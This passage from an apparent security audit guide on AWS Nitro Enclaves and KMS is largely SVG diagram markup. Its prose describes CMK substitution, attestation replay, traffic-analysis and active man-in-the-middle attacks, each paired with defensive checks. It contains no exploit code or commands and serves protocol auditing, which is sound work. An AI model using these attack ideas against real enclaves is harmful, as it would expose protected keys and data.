<text text-anchor="middle" x="192" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="192" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="484" fill="currentColor">P</text>
<text text-anchor="middle" x="200" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="200" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="36" fill="currentColor">u</text>
<text text-anchor="middle" x="216" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="36" fill="currentColor">o</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="264" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="164" fill="currentColor">G</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="280" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="212" fill="currentColor">{</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="288" y="164" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="212" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="276" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="212" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="212" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="212" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="212" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="212" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="360" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="164" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="276" fill="currentColor">P</text>
<text text-anchor="middle" x="376" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="164" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="212" fill="currentColor">k</text>
<text text-anchor="middle" x="392" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="408" y="164" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="416" y="164" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="212" fill="currentColor">k</text>
<text text-anchor="middle" x="424" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="212" fill="currentColor">}</text>
<text text-anchor="middle" x="432" y="164" fill="currentColor">i</text>
<text text-anchor="middle" x="440" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="456" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="464" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="472" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="480" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 7: CMK substitution attack.</span></figcaption></figure>
<p>Using key aliases instead of ARNs is possible but risky, as the aliases are more ambiguous.
Specifically, an attacker can manipulate the enclave’s IAM credentials to trick the enclave into
using the wrong CMK. That’s why we recommend attesting the IAM role that the enclave must use and
validating that role against IAM credentials provided at runtime. Enclave can do this by calling
<code>sts:GetCallerIdentity</code>.</p>
<p>Replay attacks are an interesting attack vector. Attestations include timestamps that KMS validates
to be at most five minutes old. While this means old documents cannot be replayed, there is still a
time window when a malicious host can observe a document and use it multiple times. As attestations
are not cryptographically bound to the requests, the attacker can use the attestation with any
supported operation with arbitrary params. Although the responses are encrypted with the
attestation’s public key and cannot be decrypted by the attacker, this gives the attacker some
abilities that must be considered during an audit. For example, an attacker can request multiple
decryption with different CMK keys and later use the KMS responses to confuse the state machine of
the enclave. Note that the <code>user_data</code> and <code>nonce</code> fields from attestation documents are not used by
KMS at all.</p>
<p>Even when an attacker cannot observe exact traffic exchanged with KMS, the attacker can note times,
orders, and sizes of communication. This may be used to deduce some information, depending on the
specific protocol your enclaves implement.</p>
<p>Finally, requests and responses to KMS include many key specifications and algorithm identifiers
(CMK <code>KeySpec</code>, attestation’s <code>KeyEncryptionAlgorithm</code>, <code>Decryption</code> operation’s
<code>EncryptionAlgorithm</code>, for example). Ideally these must not be attacker-controlled in requests (e.g.
are bundled in EIF) and the identifiers from responses are checked against the expected ones by the
enclave.</p>
<h2>Active attack prevention</h2>
<p>As a reminder, active attackers can additionally modify all traffic coming in and out of the
enclave. This tl;dr checklist helps avoid active attacks:</p>
<ul>
<li> Active attacks are prevented with enclave-initiated TLS.</li>
<li> TLS CA is bundled inside the enclave (attested).</li>
<li> VPC is used.</li>
</ul>
<p>Many problems may arise when active attacks are in scope. Most importantly, the attestation and its
pubkey are not bound to other parts of the request. This allows the attacker to change the CMK ID in
requests and responses (even if the ID is bundled in EIF); to encrypt any data key under the
attestation pubkey and use it for replays; or to attack not-authenticated AES-CBC encryption in
<code>CiphertextForRecipient</code> responses.</p>
<figure>
 <div class="tabs">

<label class="tabs__label" for="tabs-7-0">CMK substitution</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 489">
 <g transform="translate(8,16)">
<path d="M 48,64 L 248,64" fill="none" stroke="currentColor"></path>
<path d="M 0,96 L 48,96" fill="none" stroke="currentColor"></path>
<path d="M 48,96 L 80,96" fill="none" stroke="currentColor"></path>
<path d="M 232,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 504,96 L 520,96" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 496,144" fill="none" stroke="currentColor"></path>
<path d="M 264,208 L 272,208" fill="none" stroke="currentColor"></path>
<path d="M 288,208 L 296,208" fill="none" stroke="currentColor"></path>
<path d="M 304,208 L 312,208" fill="none" stroke="currentColor"></path>
<path d="M 320,208 L 328,208" fill="none" stroke="currentColor"></path>
<path d="M 336,208 L 344,208" fill="none" stroke="currentColor"></path>
<path d="M 352,208 L 360,208" fill="none" stroke="currentColor"></path>
<path d="M 368,208 L 376,208" fill="none" stroke="currentColor"></path>
<path d="M 384,208 L 392,208" fill="none" stroke="currentColor"></path>
<path d="M 400,208 L 408,208" fill="none" stroke="currentColor"></path>
<path d="M 416,208 L 424,208" fill="none" stroke="currentColor"></path>
<path d="M 432,208 L 440,208" fill="none" stroke="currentColor"></path>
<path d="M 448,208 L 456,208" fill="none" stroke="currentColor"></path>
<path d="M 464,208 L 472,208" fill="none" stroke="currentColor"></path>
<path d="M 480,208 L 488,208" fill="none" stroke="currentColor"></path>
<path d="M 496,208 L 504,208" fill="none" stroke="currentColor"></path>
<path d="M 56,256 L 64,256" fill="none" stroke="currentColor"></path>
<path d="M 80,256 L 88,256" fill="none" stroke="currentColor"></path>
<path d="M 96,256 L 104,256" fill="none" stroke="currentColor"></path>
<path d="M 112,256 L 120,256" fill="none" stroke="currentColor"></path>
<path d="M 128,256 L 136,256" fill="none" stroke="currentColor"></path>
<path d="M 144,256 L 152,256" fill="none" stroke="currentColor"></path>
<path d="M 160,256 L 168,256" fill="none" stroke="currentColor"></path>
<path d="M 176,256 L 184,256" fill="none" stroke="currentColor"></path>
<path d="M 192,256 L 200,256" fill="none" stroke="currentColor"></path>
<path d="M 208,256 L 216,256" fill="none" stroke="currentColor"></path>
<path d="M 224,256 L 232,256" fill="none" stroke="currentColor"></path>
<path d="M 240,256 L 248,256" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 72,288" fill="none" stroke="currentColor"></path>
<path d="M 104,320 L 112,320" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 72,336" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 496,384" fill="none" stroke="currentColor"></path>
<path d="M 264,432 L 272,432" fill="none" stroke="currentColor"></path>
<path d="M 288,432 L 296,432" fill="none" stroke="currentColor"></path>
<path d="M 304,432 L 312,432" fill="none" stroke="currentColor"></path>
<path d="M 320,432 L 328,432" fill="none" stroke="currentColor"></path>
<path d="M 336,432 L 344,432" fill="none" stroke="currentColor"></path>
<path d="M 352,432 L 360,432" fill="none" stroke="currentColor"></path>
<path d="M 368,432 L 376,432" fill="none" stroke="currentColor"></path>
<path d="M 384,432 L 392,432" fill="none" stroke="currentColor"></path>
<path d="M 400,432 L 408,432" fill="none" stroke="currentColor"></path>
<path d="M 416,432 L 424,432" fill="none" stroke="currentColor"></path>
<path d="M 432,432 L 440,432" fill="none" stroke="currentColor"></path>
<path d="M 448,432 L 456,432" fill="none" stroke="currentColor"></path>
<path d="M 464,432 L 472,432" fill="none" stroke="currentColor"></path>
<path d="M 480,432 L 488,432" fill="none" stroke="currentColor"></path>
<path d="M 496,432 L 504,432" fill="none" stroke="currentColor"></path>
<path d="M 0,448 L 48,448" fill="none" stroke="currentColor"></path>
<path d="M 48,448 L 256,448" fill="none" stroke="currentColor"></path>
<path d="M 256,448 L 504,448" fill="none" stroke="currentColor"></path>
<path d="M 504,448 L 520,448" fill="none" stroke="currentColor"></path>
<path d="M 0,96 L 0,448" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,64" fill="none" stroke="currentColor"></path>
<path d="M 48,64 L 48,96" fill="none" stroke="currentColor"></path>
<path d="M 48,96 L 48,288" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 48,448" fill="none" stroke="currentColor"></path>
<path d="M 48,448 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 72,288 L 72,336" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,80" fill="none" stroke="currentColor"></path>
<path d="M 256,112 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 256,448" fill="none" stroke="currentColor"></path>
<path d="M 256,448 L 256,464" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 504,96 L 504,448" fill="none" stroke="currentColor"></path>
<path d="M 504,448 L 504,464" fill="none" stroke="currentColor"></path>
<path d="M 520,96 L 520,448" fill="none" stroke="currentColor"></path>
<path d="M 256,80 L 256,88" fill="none" stroke="currentColor"></path>
<path d="M 256,104 L 256,112" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,256.000000 52.000000,250.399994 52.000000,261.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 256.000000)"></polygon>
<polygon points="64.000000,336.000000 52.000000,330.399994 52.000000,341.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 336.000000)"></polygon>
<polygon points="120.000000,320.000000 108.000000,314.399994 108.000000,325.600006" fill="currentColor" transform="rotate(0.000000, 112.000000, 320.000000)"></polygon>
<polygon points="256.000000,64.000000 244.000000,58.400002 244.000000,69.599998" fill="currentColor" transform="rotate(0.000000, 248.000000, 64.000000)"></polygon>
<polygon points="272.000000,208.000000 260.000000,202.399994 260.000000,213.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 208.000000)"></polygon>
<polygon points="272.000000,432.000000 260.000000,426.399994 260.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 432.000000)"></polygon>
<polygon points="504.000000,144.000000 492.000000,138.399994 492.000000,149.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 144.000000)"></polygon>
<polygon points="504.000000,384.000000 492.000000,378.399994 492.000000,389.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 384.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="64" y="52" fill="currentColor">(</text>
<text text-anchor="middle" x="64" y="244" fill="currentColor">{</text>
<text text-anchor="middle" x="72" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="52" fill="currentColor">c</text>
<text text-anchor="middle" x="72" y="244" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="80" y="52" fill="currentColor">m</text>
<text text-anchor="middle" x="80" y="244" fill="currentColor">_</text>
<text text-anchor="middle" x="88" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="88" y="52" fill="currentColor">k</text>
<text text-anchor="middle" x="88" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="88" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="96" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="52" fill="currentColor">_</text>
<text text-anchor="middle" x="96" y="100" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="244" fill="currentColor">,</text>
<text text-anchor="middle" x="96" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="100" fill="currentColor">M</text>
<text text-anchor="middle" x="104" y="244" fill="currentColor">E</text>
<text text-anchor="middle" x="104" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="52" fill="currentColor">d</text>
<text text-anchor="middle" x="112" y="100" fill="currentColor">K</text>
<text text-anchor="middle" x="112" y="244" fill="currentColor">_</text>
<text text-anchor="middle" x="112" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="52" fill="currentColor">,</text>
<text text-anchor="middle" x="120" y="244" fill="currentColor">d</text>
<text text-anchor="middle" x="120" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="128" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="100" fill="currentColor">s</text>
<text text-anchor="middle" x="128" y="244" fill="currentColor">k</text>
<text text-anchor="middle" x="128" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="128" y="324" fill="currentColor">d</text>
<text text-anchor="middle" x="136" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="100" fill="currentColor">u</text>
<text text-anchor="middle" x="136" y="244" fill="currentColor">}</text>
<text text-anchor="middle" x="136" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="100" fill="currentColor">b</text>
<text text-anchor="middle" x="144" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="100" fill="currentColor">s</text>
<text text-anchor="middle" x="152" y="308" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="160" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="160" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="168" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="168" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="168" y="100" fill="currentColor">i</text>
<text text-anchor="middle" x="168" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="176" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="176" y="52" fill="currentColor">_</text>
<text text-anchor="middle" x="176" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="176" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="52" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="100" fill="currentColor">u</text>
<text text-anchor="middle" x="184" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="192" y="52" fill="currentColor">u</text>
<text text-anchor="middle" x="192" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="192" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="200" y="52" fill="currentColor">b</text>
<text text-anchor="middle" x="200" y="100" fill="currentColor">i</text>
<text text-anchor="middle" x="200" y="308" fill="currentColor">v</text>
<text text-anchor="middle" x="208" y="52" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="100" fill="currentColor">o</text>
<text text-anchor="middle" x="208" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="216" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="216" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="216" y="308" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="240" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="272" y="116" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="272" y="180" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="372" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="280" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="196" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="372" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="116" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="132" fill="currentColor">m</text>
<text text-anchor="middle" x="288" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="288" y="196" fill="currentColor">_</text>
<text text-anchor="middle" x="288" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="296" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="296" y="196" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="116" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="132" fill="currentColor">_</text>
<text text-anchor="middle" x="304" y="180" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="196" fill="currentColor">k</text>
<text text-anchor="middle" x="304" y="372" fill="currentColor">y</text>
<text text-anchor="middle" x="312" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="132" fill="currentColor">i</text>
<text text-anchor="middle" x="312" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="196" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="320" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="320" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="196" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="372" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="132" fill="currentColor">2</text>
<text text-anchor="middle" x="328" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="196" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="116" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="336" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="196" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="420" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="132" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="196" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="196" fill="currentColor">c</text>
<text text-anchor="middle" x="352" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="360" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="360" y="196" fill="currentColor">m</text>
<text text-anchor="middle" x="360" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="116" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="368" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="368" y="196" fill="currentColor">k</text>
<text text-anchor="middle" x="368" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="376" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="132" fill="currentColor">s</text>
<text text-anchor="middle" x="376" y="180" fill="currentColor">s</text>
<text text-anchor="middle" x="376" y="196" fill="currentColor">2</text>
<text text-anchor="middle" x="376" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="384" y="116" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="384" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="384" y="196" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="372" fill="currentColor">2</text>
<text text-anchor="middle" x="392" y="132" fill="currentColor">_</text>
<text text-anchor="middle" x="392" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="392" y="196" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="400" y="132" fill="currentColor">p</text>
<text text-anchor="middle" x="400" y="180" fill="currentColor">p</text>
<text text-anchor="middle" x="400" y="196" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="408" y="132" fill="currentColor">u</text>
<text text-anchor="middle" x="408" y="180" fill="currentColor">u</text>
<text text-anchor="middle" x="408" y="196" fill="currentColor">)</text>
<text text-anchor="middle" x="408" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="416" y="132" fill="currentColor">b</text>
<text text-anchor="middle" x="416" y="180" fill="currentColor">b</text>
<text text-anchor="middle" x="416" y="196" fill="currentColor">}</text>
<text text-anchor="middle" x="416" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="424" y="180" fill="currentColor">,</text>
<text text-anchor="middle" x="424" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="432" y="180" fill="currentColor">d</text>
<text text-anchor="middle" x="432" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="440" y="180" fill="currentColor">k</text>
<text text-anchor="middle" x="448" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="456" y="180" fill="currentColor">,</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>


<label class="tabs__label" for="tabs-7-1">Data key replay</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 489">
 <g transform="translate(8,16)">
<path d="M 48,64 L 248,64" fill="none" stroke="currentColor"></path>
<path d="M 0,96 L 48,96" fill="none" stroke="currentColor"></path>
<path d="M 48,96 L 80,96" fill="none" stroke="currentColor"></path>
<path d="M 280,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 504,96 L 520,96" fill="none" stroke="currentColor"></path>
<path d="M 256,112 L 280,112" fill="none" stroke="currentColor"></path>
<path d="M 264,176 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 56,224 L 64,224" fill="none" stroke="currentColor"></path>
<path d="M 80,224 L 88,224" fill="none" stroke="currentColor"></path>
<path d="M 96,224 L 104,224" fill="none" stroke="currentColor"></path>
<path d="M 112,224 L 120,224" fill="none" stroke="currentColor"></path>
<path d="M 128,224 L 136,224" fill="none" stroke="currentColor"></path>
<path d="M 144,224 L 152,224" fill="none" stroke="currentColor"></path>
<path d="M 160,224 L 168,224" fill="none" stroke="currentColor"></path>
<path d="M 176,224 L 184,224" fill="none" stroke="currentColor"></path>
<path d="M 192,224 L 200,224" fill="none" stroke="currentColor"></path>
<path d="M 208,224 L 216,224" fill="none" stroke="currentColor"></path>
<path d="M 224,224 L 232,224" fill="none" stroke="currentColor"></path>
<path d="M 240,224 L 248,224" fill="none" stroke="currentColor"></path>
<path d="M 48,256 L 72,256" fill="none" stroke="currentColor"></path>
<path d="M 104,288 L 112,288" fill="none" stroke="currentColor"></path>
<path d="M 56,320 L 72,320" fill="none" stroke="currentColor"></path>
<path d="M 56,368 L 248,368" fill="none" stroke="currentColor"></path>
<path d="M 0,384 L 48,384" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 504,384" fill="none" stroke="currentColor"></path>
<path d="M 504,384 L 520,384" fill="none" stroke="currentColor"></path>
<path d="M 0,96 L 0,384" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,64" fill="none" stroke="currentColor"></path>
<path d="M 48,64 L 48,96" fill="none" stroke="currentColor"></path>
<path d="M 48,96 L 48,256" fill="none" stroke="currentColor"></path>
<path d="M 48,256 L 48,384" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 48,400" fill="none" stroke="currentColor"></path>
<path d="M 72,256 L 72,320" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,80" fill="none" stroke="currentColor"></path>
<path d="M 256,112 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 256,400" fill="none" stroke="currentColor"></path>
<path d="M 280,112 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 504,96 L 504,384" fill="none" stroke="currentColor"></path>
<path d="M 504,384 L 504,400" fill="none" stroke="currentColor"></path>
<path d="M 520,96 L 520,384" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,224.000000 52.000000,218.399994 52.000000,229.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 224.000000)"></polygon>
